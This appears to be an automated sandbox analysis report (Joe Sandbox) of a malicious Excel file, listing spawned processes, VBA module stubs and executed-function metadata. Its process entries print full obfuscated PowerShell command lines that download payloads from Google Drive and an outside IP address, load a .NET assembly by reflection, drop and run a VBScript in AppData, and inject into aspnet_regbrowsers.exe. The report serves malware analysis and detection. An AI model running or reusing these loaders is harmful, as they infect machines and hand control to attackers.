Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:53:13
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:53:13
Start date:	30/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f840000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:53:18
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3388, Parent PID: 2876

General

Target ID:	19
Start time:	02:53:19
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 3848, Parent PID: 2876

General

Target ID:	21
Start time:	02:53:22
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"
Imagebase:	0x13f2f0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:53:22
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES603A.tmp" "c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP"
Imagebase:	0x13fe10000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:53:27
Start date:	30/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Imagebase:	0xff0f0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3904, Parent PID: 3776

General

Target ID:	25
Start time:	02:53:29
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 4032, Parent PID: 3904

General

Target ID:	27
Start time:	02:53:31
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Imagebase:	0x13fc70000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: aspnet_regbrowsers.exePID: 3128, Parent PID: 3044

General

Target ID:	28
Start time:	02:53:37
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x1290000
File size:	45'160 bytes
MD5 hash:	04AA198D72229AEED129DC20201BF030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3748, Parent PID: 564COMMON

Executed Functions

Function 024B0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.424651830.00000000024B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 024B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_24b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ff46da28c96ed9bcb16d94cb1ae802fdbd985d38970ad894d511880d11a03069
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 024B0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.424651830.00000000024B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 024B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_24b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ff46da28c96ed9bcb16d94cb1ae802fdbd985d38970ad894d511880d11a03069
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 024B0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.424651830.00000000024B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 024B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_24b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ff46da28c96ed9bcb16d94cb1ae802fdbd985d38970ad894d511880d11a03069
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 024B0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.424651830.00000000024B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 024B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_24b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ff46da28c96ed9bcb16d94cb1ae802fdbd985d38970ad894d511880d11a03069
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3836, Parent PID: 3748COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE89A14B18 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE89A15AF0

Memory Dump Source

Source File: 00000005.00000002.470300403.000007FE89A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89a10000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: caf4a873542a341fe9d0b4edb1057a04f6c50687715b0b957c9da2e002548456
Instruction ID: 610876c346633b2e53559ca03e9137c64ea64b7c06df6358612b7cfc7004cbb9
Opcode Fuzzy Hash: caf4a873542a341fe9d0b4edb1057a04f6c50687715b0b957c9da2e002548456
Instruction Fuzzy Hash: BA31913191CA5C8FDB58EF5CD8897A9B7E1FB69711F00826ED04ED3651CB70A845CB81

Function 000007FE89AE0858 Relevance: 2.4, Strings: 1, Instructions: 1116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xF, xrefs: 000007FE89AE117C

Memory Dump Source

Source File: 00000005.00000002.470550491.000007FE89AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ae0000_powershell.jbxd

Similarity

API ID:
String ID: xF
API String ID: 0-2593032537
Opcode ID: 3e4f8fba2bd25d06840aee9fbff92faed6d53821666dd8cdf69f52a62da56d07
Instruction ID: a21a204b20d053c25da34caaa59c27980829410b12b1ade017bc712b89f2afff
Opcode Fuzzy Hash: 3e4f8fba2bd25d06840aee9fbff92faed6d53821666dd8cdf69f52a62da56d07
Instruction Fuzzy Hash: 1072F730A0CF894FDB59EB2C9494A697BE1EF56740F1801EED48EC72A3DA24EC45C781

Function 000007FE89A159E1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE89A15AF0

Memory Dump Source

Source File: 00000005.00000002.470300403.000007FE89A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89a10000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 6329884fd0750fda33a8f0db75d3681795bd5580b8e4451ecd8962b88c217186
Instruction ID: b23d01fb4cc38ac9ec47d31cb8cafa0dad92a3a71bcfb865063a1e79fed3dd1e
Opcode Fuzzy Hash: 6329884fd0750fda33a8f0db75d3681795bd5580b8e4451ecd8962b88c217186
Instruction Fuzzy Hash: 1641F37180DB8C9FDB1ADB5898447E9BBF0FB56321F0482AFD089D7162CB24A846C781

Function 000007FE89AE1100 Relevance: 1.3, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xF, xrefs: 000007FE89AE117C

Memory Dump Source

Source File: 00000005.00000002.470550491.000007FE89AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ae0000_powershell.jbxd

Similarity

API ID:
String ID: xF
API String ID: 0-2593032537
Opcode ID: 464023353bd5a5d7b9f5de1f89378bb443463dac0dcdddb79e1c8490ec42848b
Instruction ID: e2aa9acd8234c046607d4426d3f63f830d3a97808568ed08389f2e87ef38d26d
Opcode Fuzzy Hash: 464023353bd5a5d7b9f5de1f89378bb443463dac0dcdddb79e1c8490ec42848b
Instruction Fuzzy Hash: EA21B41070DBCA0FE38B933C1994265AFD2EF5B658B2911FBE98ED71A3D9048C658361

Function 000007FE89AE2CD9 Relevance: .7, Instructions: 707
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.470550491.000007FE89AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9cf73a5284c657376acbe6e74abc0f4fbb331db06dbbaa62a271e1bc2857b16
Instruction ID: 8cef86c591c6739639d5ab542172508356694cdf22f7018ae9b093c5f6d21c81
